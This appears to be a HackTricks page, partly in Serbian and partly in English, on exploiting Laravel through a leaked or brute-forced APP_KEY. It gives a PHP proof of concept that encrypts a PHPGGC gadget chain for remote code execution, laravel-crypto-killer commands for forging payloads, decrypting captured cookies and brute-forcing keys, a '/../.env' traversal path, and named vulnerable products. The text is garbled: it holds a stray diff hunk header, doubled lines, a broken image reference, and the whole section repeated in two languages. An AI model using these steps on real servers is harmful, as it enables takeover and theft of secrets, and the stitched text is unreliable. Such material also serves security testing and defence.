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# Laravel
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{{#include /banners/hacktricks-training.md}}
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### Laravel SQLInjection
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Pročitajte informacije o tome ovde: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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---
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## APP_KEY & Encryption internals (Laravel \u003e=5.6)
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Laravel koristi AES-256-CBC (ili GCM) sa HMAC integritetom u pozadini (`Illuminate\\Encryption\\Encrypter`).
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Sirovi šifrovani tekst koji se konačno **šalje klijentu** je **Base64 JSON objekat** poput:
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```json
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{
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"iv" : "Base64(random 16-byte IV)",
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"value": "Base64(ciphertext)",
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"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
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"tag" : "" // only used for AEAD ciphers (GCM)
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}
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```
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`encrypt($value, $serialize=true)` će po defaultu `serialize()` plaintext, dok će `decrypt($payload, $unserialize=true)` **automatski `unserialize()`** dekriptovanu vrednost. Stoga **bilo koji napadač koji zna 32-bajtni tajni `APP_KEY` može napraviti enkriptovani PHP serijalizovani objekat i dobiti RCE putem magičnih metoda (`__wakeup`, `__destruct`, …)**.
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Minimal PoC (framework ≥9.x):
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```php
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use Illuminate\Support\Facades\Crypt;
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$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
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$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
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```
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Ubaci proizvedeni string u bilo koji ranjivi `decrypt()` sink (parametar rute, kolačić, sesija, …).
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---
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## laravel-crypto-killer 🧨
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[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatizuje ceo proces i dodaje praktičan **bruteforce** režim:
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```bash
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# Encrypt a phpggc chain with a known APP_KEY
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laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
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# Decrypt a captured cookie / token
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laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
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# Try a word-list of keys against a token (offline)
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laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
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```
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The script transparentno podržava i CBC i GCM payload-e i ponovo generiše HMAC/tag polje.
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---
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## Uzorci ranjivosti iz stvarnog sveta
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| Projekat | Ranjivi sink | Gadget lanac |
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|----------|--------------|--------------|
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| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
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| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` kolačić kada je `Passport::withCookieSerialization()` omogućen | Laravel/RCE9 |
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| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` kolačić | Laravel/RCE15 |
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Tok eksploatacije je uvek:
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1. Dobiti `APP_KEY` (podrazumevani primeri, Git leak, config/.env leak, ili brute-force)
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2. Generisati gadget sa **PHPGGC**
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3. `laravel_crypto_killer.py encrypt …`
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4. Dostaviti payload kroz ranjivi parametar/kolačić → **RCE**
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---
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## Masovno otkrivanje APP_KEY putem brute-force kolačića
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Pošto svaki sveži Laravel odgovor postavlja bar 1 enkriptovani kolačić (`XSRF-TOKEN` i obično `laravel_session`), **javne internet skeneri (Shodan, Censys, …) otkrivaju milione ciphertext-a** koji se mogu napasti offline.
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Ključni nalazi istraživanja objavljenog od strane Synacktiv (2024-2025):
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* Dataset jul 2024 » 580 k tokena, **3.99 % ključeva je probijeno** (≈23 k)
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* Dataset maj 2025 » 625 k tokena, **3.56 % ključeva je probijeno**
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* >1 000 servera još uvek ranjivo na legacy CVE-2018-15133 jer tokeni direktno sadrže serijalizovane podatke.
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* Ogromna ponovna upotreba ključeva – Top-10 APP_KEY-ova su hard-kodirani podrazumevani ključevi isporučeni sa komercijalnim Laravel šablonima (UltimatePOS, Invoice Ninja, XPanel, …).
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Privatni Go alat **nounours** povećava AES-CBC/GCM bruteforce propusnost na ~1.5 milijardi pokušaja/s, smanjujući vreme potrebno za probijanje celog skupa podataka na <2 minuta.
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---
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## Reference
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* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
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* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
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* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
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* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
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{{#include ../../banners/hacktricks-training.md}}
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## Laravel Tricks
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## Laravel trikovi
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### Debugging mode
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Ako je Laravel u **debugging mode**, moći ćete da pristupite **kod** i **osetljivim podacima**.\
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Ako je Laravel u **debugging mode** moći ćete da pristupite **kod** i **osetljivim podacima**.\
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Na primer `http://127.0.0.1:8000/profiles`:
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.png>)
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To je obično potrebno za eksploataciju drugih Laravel RCE CVE-ova.
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Ovo je obično potrebno za eksploataciju drugih Laravel RCE CVE-a.
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### .env
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Laravel čuva APP koji koristi za enkripciju kolačića i drugih akreditiva unutar datoteke pod nazivom `.env` koja se može pristupiti koristeći neku putanju za prolazak ispod: `/../.env`
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Laravel čuva APP koji koristi za enkripciju kolačića i drugih akreditiva unutar datoteke pod nazivom `.env` koja se može pristupiti koristeći neku putanju za prolaz ispod: `/../.env`
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Laravel će takođe prikazati ove informacije unutar debug stranice (koja se pojavljuje kada Laravel pronađe grešku i aktivira se).
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@ -99,4 +184,87 @@ Još jedna deserializacija: [https://github.com/ambionics/laravel-exploits](http
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Pročitajte informacije o ovome ovde: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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### Laravel SQLInjection
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Pročitajte informacije o ovome ovde: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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---
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## APP_KEY & Encryption internals (Laravel \u003e=5.6)
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Laravel koristi AES-256-CBC (ili GCM) sa HMAC integritetom u pozadini (`Illuminate\\Encryption\\Encrypter`).
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Sirovi ciphertext koji se konačno **šalje klijentu** je **Base64 JSON objekat** poput:
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```json
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{
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"iv" : "Base64(random 16-byte IV)",
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"value": "Base64(ciphertext)",
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"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
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"tag" : "" // only used for AEAD ciphers (GCM)
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}
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```
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`encrypt($value, $serialize=true)` će po defaultu `serialize()` plaintext, dok će `decrypt($payload, $unserialize=true)` **automatski `unserialize()`** dekriptovanu vrednost. Stoga **bilo koji napadač koji zna 32-bajtni tajni `APP_KEY` može napraviti enkriptovani PHP serijalizovani objekat i dobiti RCE putem magičnih metoda (`__wakeup`, `__destruct`, …)**.
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Minimal PoC (framework ≥9.x):
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```php
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use Illuminate\Support\Facades\Crypt;
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$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
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$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
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```
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Ubaci proizvedeni string u bilo koji ranjivi `decrypt()` sink (parametar rute, kolačić, sesija, …).
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---
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## laravel-crypto-killer 🧨
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[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatizuje ceo proces i dodaje praktičan **bruteforce** režim:
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```bash
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# Encrypt a phpggc chain with a known APP_KEY
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laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
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# Decrypt a captured cookie / token
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laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
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# Try a word-list of keys against a token (offline)
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laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
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```
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The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
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---
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## Real-world vulnerable patterns
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| Project | Vulnerable sink | Gadget chain |
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|---------|-----------------|--------------|
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| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
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| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
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| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
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The exploitation workflow is always:
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1. Obtain `APP_KEY` (default examples, Git leak, config/.env leak, or brute-force)
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2. Generate gadget with **PHPGGC**
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3. `laravel_crypto_killer.py encrypt …`
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4. Deliver payload through the vulnerable parameter/cookie → **RCE**
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---
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## Mass APP_KEY discovery via cookie brute-force
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Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
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Key findings of the research published by Synacktiv (2024-2025):
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* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
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* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
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* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
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* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
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The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
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---
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## References
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* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
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* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
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* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
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* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
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{{#include ../../banners/hacktricks-training.md}}
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